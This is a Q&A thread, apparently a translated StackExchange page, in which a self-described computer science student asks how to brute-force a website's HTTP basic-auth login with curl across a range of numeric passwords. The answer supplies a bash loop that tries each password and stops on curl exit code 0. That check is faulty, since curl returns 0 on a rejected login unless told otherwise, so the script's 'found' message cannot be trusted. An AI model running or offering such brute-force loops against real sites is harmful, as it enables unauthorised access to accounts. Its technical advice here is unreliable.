如何从终端登录网站?

Kab*_*hok 8 curl

作为计算机科学的学生,我现在正在学习使用命令行。我需要使用蛮力登录网站,知道用户名和密码是一定范围内的整数。这是我到目前为止所拥有的,但似乎不起作用。

 for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done
Run Code Online (Sandbox Code Playgroud)

我该如何继续?

Ant*_*hon 6

您的例程缺少的是一旦i找到正确的退出方式。为此,您可以查看 curl 返回的退出代码:

for i in {2000..3000}
do 
  curl http://admin:$i@mywebsite.com/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done
Run Code Online (Sandbox Code Playgroud)

curl一切正常时的退出值为0,可以在程序停止后通过检查特殊变量直接检查$?。使用man curl并搜索EXIT CODE以查看curl其退出代码可以告诉您的所有不同信息。